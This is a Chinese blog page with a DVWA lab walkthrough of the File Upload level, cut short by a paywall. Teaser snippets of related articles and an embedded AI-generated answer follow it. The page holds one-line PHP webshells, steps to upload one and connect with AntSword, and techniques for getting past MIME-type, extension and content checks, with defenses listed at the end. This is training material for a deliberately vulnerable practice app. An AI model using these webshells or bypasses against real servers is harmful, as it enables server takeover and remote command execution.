DVWA通关--文件上传(File Upload)

最新推荐文章于 2025-05-28 19:26:13 发布
最新推荐文章于 2025-05-28 19:26:13 发布
阅读量6.6k 收藏 21
点赞数 13
CC 4.0 BY-SA版权
分类专栏： dvwa # 文件上传/下载/包含 文章标签： 网络安全 靶机
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/elephantxiang/article/details/111937097

目录

LOW

通关路径

源码分析

MEDIUM

通关路径

源码分析

HIGH

通关路径

源码分析

IMPOSSIBLE

源码分析

总结

LOW

通关路径

1、新建个sh.php文件，内容如下：

<?php assert($_POST['dvwa']);?>

2、尝试直接上传，上传成功，给出了文件保存路径。

看来这关一点防御都没有，任意文件可上传。

3、用蚁剑连接之前可以先在浏览器中试一下文件在不在，能不能被当作php解析。

那一般如果404就是文件不存在，如果php代码以字符串显示了就是不能解析用户上传的php。这两种情况下也就不用搬出蚁剑了。

4、用蚁剑连接一句话木马

源码分析

果然是没有防御的，没有对上传的文件进行任何过滤。

三个主要操作：

(1)全局数组$_FILES用来获取通过 POST 方法上传文件的相关信息。详见PHP 文件上传

(2)bas

最低0.47元/天 解锁文章

200万优质内容无限畅学
【DVWA】——File Upload（文件上传）
HinsCoder的博客
09-15 1429
文件上传漏洞是由于对上传文件未作过滤或过滤机制不严（文件后缀或类型），导致恶意用户可以上传脚本文件，通过上传文件可达到控制网站权限的目的。
DVWA--file upload （文件上传）
weixin_50342860的博客
08-23 1602
目录风险lowmediumhigh总结 风险 对上传的文件类型，内容没有进行严格的过滤、检查，使攻击者可以上传木马获取服务器webshell权限。 low 查看代码，对上传文件没有做任何的过滤措施 basename（path,suffix）函数：点这里 全局数组 $_FILES: 点这里 move_uploaded_file() 函数：点这里 1. 写一句话木马1.php上传 <?php @eval($_POST['hello']); ?> 2. 上传成功，给出了上传文件路径，访问获
中国蚁剑连接成功，返回数据却没有显示解决方案（普通级别）
最新发布
sinat_60712414的博客
05-28 293
解决中国蚁剑(AntSword)连接没有返回数据的问题。
DVWA-File Upload(文件上传)
简简的博客
02-02 573
本系列文集:DVWA学习笔记 文件上传漏洞通常是由于对上传文件的类型、内容没有进行严格的过滤、检查，使得攻击者可以通过上传木马获取服务器的webshell权限，因此文件上传漏洞带来的危害常常是毁灭性的。 ###Low： 函数介绍： basename()函数返回路径中的文件名部分。 string basename ( string $path [, string $suffix ] ) 参数介...
DVWA-文件上传（File Upload）
weixin_58954236的博客
08-20 1691
指由于程序员在对用户文件上传部分的控制不足或者处理缺陷，而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马，病毒，恶意脚本或者WebShell等。“文件上传”本身没有问题，有问题的是文件上传后，服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全，则会导致严重的后果。
DVWA 之 File Upload（文件上传）
RexHa的博客
10-02 2938
文件上传原理： 黑客利用文件上传后服务器解析处理文件的漏洞上传一个可执行的脚本文件，并通过此脚本文件获得了执行服务器端命令的能力。
DVWA-文件上传upload
Cwillchris的博客
10-28 2266
实验环境： DVWA靶机：172.16.12.10 windos攻击机：172.16.12.7 kali攻击机：172.16.12.30 实验步骤： 一、Low级 1、查看源码及分析 <?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? //文件的目标路径hackable/uploads/，也就是文件上传的位置 $target_path = DVWA_WEB
DVWA -File Upload-通关教程-完结
刘箫-技术库
04-07 2513
这行代码检查上传文件的类型和大小是否符合要求，并使用 getimagesize() 函数验证上传文件是否为有效的图像文件。但是此时是不能用蚁剑连接的，因为蚁剑的原理是向上传文件发送包含参数的 post 请求，通过控制参数来执行不同的命令。如果上传文件不是 JPEG 或 PNG 格式，或者文件大小超过 100KB，则输出错误消息，指示上传的文件不符合要求。这段 PHP 代码是一个简单的文件上传处理程序，它接受通过 POST 请求上传的文件，并将其保存到指定的目录中。如果收到了该请求，说明用户尝试上传文件。
DVWA通关--文件包含(File Inclusion)
箭雨镜屋
01-13 4606
LOW 通关步骤 一、本地文件包含 1、先搞清楚要干啥，当然可以像DVWA通关--文件上传(File Upload)的HIGH关一样，结合文件上传漏洞，包含木马，但是总做一样的事情未免有点没意思。 点右下角的View Help看了一下，File Inclusion这套关卡要求读取../hackable/flags/fi.php这个文件中的5个引用，也就是5个名言名句。 这个是本地文件包含的要求，后面也会一并尝试远程文件包含。 我在服务器上面看了一下这个文件的内容，如下图 可见1、2、4是直
DVWA-File Upload/文件上传漏洞
jammny
11-22 1370
前言 其实dvwa这个靶机在刚开始接触web安全的时候就已经玩过了，当时的版本应该是1.0.7，现在最新版本已经到1.9了。新增了PHPIDS像类似WAF的功能，刚开始打DVWA只是为了完成通关目标而打，现在回过头来拾起它，更觉得它是一个不错的渗透靶机。学习漏洞利用的同时，要明白该漏洞产生的原因是什么？如果给你一套php源码的话，你想测文件上传漏洞该从哪里切入？如果存在该漏洞怎么去修复？这些都是我接下来要思考和学习，也是我重新拿去dvwa的原因。 DVWA下载与安装： https://blog..
【dvwa靶场：File Upload系列】File Upload低-中-高级别，通关啦
m0_47484034的博客
11-25 1300
【dvwa靶场：File Upload系列】File Upload低-中-高级别，通关啦
DVWA-File Upload(Medium)
七月_的博客
10-23 391
文章目录File Upload(Medium)代码分析 File Upload(Medium) 代码分析 ```php <?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/u...
DVWA---文件上传
孤的博客
11-20 991
File Upload，即文件上传漏洞，通常是由于对上传文件的类型、内容没有进行严格的过滤、检查，使得攻击者可以通过上传木马获取服务器的webshell权限，因此文件上传漏洞带来的危害常常是毁灭性的。 网页能够上传文件的条件 表单提交方式:post (get方式提交有大小限制,post没有) 表单的enctype属性:必须设置为multipart/form-data 表单必须有文件上传项:fi...
DVWA靶场-----FIle Upload（文件上传）
m0_65712192的博客
11-14 5601
DVWA靶场-----FIle Upload（文件上传）
DVWA篇_文件上传
05-25 2363
记一次DVWA文件上传漏洞复现
DVWA-File Upload
qq_45751902的博客
04-25 439
目录简介安全级别：Low安全级别：Medium安全级别：High安全级别：Impossible 简介 概念 File Upload，即文件上传漏洞，通常是由于对上传文件的类型、内容没有进行严格的过滤、检查，使得攻击者可以通过上传木马获取服务器的webshell权限； 这里上传的文件可以是木马，病毒，恶意脚本等。这种攻击方式是最为直接和有效的，“文件上传”本身没有问题，有问题的是文件上传后，服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全，则会导致严重的后果； 文件上传漏洞的前提条件 能上传木
DVWA 之 File Upload
baynk的博客
10-29 918
汇总链接： https://baynk.blog.youkuaiyun.com/article/details/100006641 ------------------------------------------------------------------分割线------------------------------------------------------------------ File...
DVWA File Upload
部分学习记录
09-22 263
low 未对上传文件进行任何过滤，可以直接上传一个shell文件shell.php，例如一句话木马，通过暴露出的路径来执行该文件，然后利用菜刀进行连接，获取服务器文件信息，利用文件管理和虚拟终端进行其他操作 medium 要求上传JPEG或者PNG格式的图片 将shell.php修改为shell.png（绕过文件类型检测），尝试利用burp抓包修改文件后缀为php（上传到服务器后的文件名），上传成功 high 查看源代码发现对文件名进行了截取，其中涉及到了strrpos()函数，就去查了一下 由于限制
DVWA -File Upload fi
03-24
<think>嗯，用户想了解DVWA中的文件上传功能的安全测试或漏洞利用方法。首先，我需要回忆一下DVWA的基本情况。DVWA是一个用于练习Web应用漏洞的靶场，文件上传漏洞是常见的漏洞类型之一。用户可能需要从基础的上传恶意文件开始，逐步深入。 首先，安全测试通常包括绕过客户端验证。DVWA可能有不同安全等级的设置，比如Low级别可能只在前端做检查，而High级别可能有更严格的后端验证。例如，在Low级别下，用户可以直接上传PHP文件，因为服务器可能没有验证文件类型或内容。这时候需要指导用户如何修改前端代码，比如删除JavaScript验证，或者使用Burp Suite拦截请求修改文件类型。 接下来是绕过MIME类型检查。服务器可能会检查Content-Type，比如image/jpeg。这时候需要将恶意文件的Content-Type改为允许的类型，这可能通过Burp Suite修改请求头来实现。 然后是绕过扩展名检查。有些服务器通过黑名单来阻止危险扩展名，但可能遗漏某些情况，比如.php5、.phtml等。用户可以尝试上传这些变种扩展名，或者利用双扩展名如test.php.jpg来绕过检查。 对于内容检查，服务器可能检测文件头，比如GIF文件的GIF89a标识。用户可以在恶意文件前添加这些标识，伪装成图片文件，同时保留PHP代码。这需要一定的混淆技巧。 在漏洞利用方面，上传Web Shell是常见方法，比如使用一句话木马<?php system($_GET['cmd']); ?>，然后通过浏览器访问该文件执行系统命令。结合其他漏洞如文件包含漏洞，可以进一步利用，比如通过路径遍历上传文件到非预期目录，或者利用本地文件包含执行上传的恶意文件。 防御措施方面，应该提到白名单验证、重命名文件、存储文件到非Web目录、使用安全扫描工具等方法。例如，引用中的nikto工具可以用来检测常见错误配置，而sqlmap用于SQL注入测试，但文件上传漏洞可能需要其他工具。 需要确保用户理解不同安全等级（Low、Medium、High）的差异，并针对不同等级给出具体方法。例如，High级别可能需要更复杂的绕过技巧，比如结合服务器解析漏洞。同时，提醒用户注意法律和道德规范，仅在授权环境下测试。 最后，生成的相关问题需要覆盖漏洞原理、工具使用、防御措施和结合其他漏洞的情况，确保全面性。需要检查引用中的资料是否相关，比如引用3提到的nikto可以用来检查配置错误，引用4的sqlmap可能与文件上传无关，但用户的问题可能涉及综合测试。</think>### DVWA文件上传漏洞安全测试与利用方法 --- #### 一、漏洞原理 DVWA文件上传功能存在未严格验证文件类型、内容及路径的风险，攻击者可上传Web Shell（如PHP恶意文件）实现远程代码执行[^1]。漏洞等级分为低、中、高三种安全模式，对应不同防御强度。 --- #### 二、安全测试步骤 1. **基础文件上传测试** - **低安全级别**：直接上传`.php`文件（如`shell.php`），验证服务器是否允许执行 ```php <?php system($_GET['cmd']); ?> ``` - **绕过客户端验证**：禁用JavaScript或修改前端代码删除文件类型检查[^5] 2. **绕过MIME类型检查** - 使用Burp Suite拦截请求，将`Content-Type: application/php`改为`image/jpeg`[^3] 3. **绕过扩展名黑名单** - 尝试`.php5`、`.phtml`或双扩展名如`shell.php.jpg` 4. **绕过内容检查** - 在PHP文件头部添加图片标识（如`GIF89a`），伪装成图片： ```php GIF89a <?php system($_GET['cmd']); ?> ``` --- #### 三、漏洞利用示例 1. **Web Shell执行命令** - 上传成功后访问`http://靶机地址/hackable/uploads/shell.php?cmd=whoami`，可返回当前系统用户[^4] 2. **结合文件包含漏洞** - 若存在LFI漏洞，通过路径遍历执行上传文件： ``` http://靶机地址/vulnerabilities/fi/?page=../../uploads/shell.php ``` --- #### 四、防御措施 1. 使用白名单验证文件扩展名和MIME类型 2. 重命名上传文件（如`md5(时间戳).jpg`） 3. 将文件存储在非Web可访问目录[^2] 4. 部署WAF或使用`nikto`扫描检测配置错误[^3] ---
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值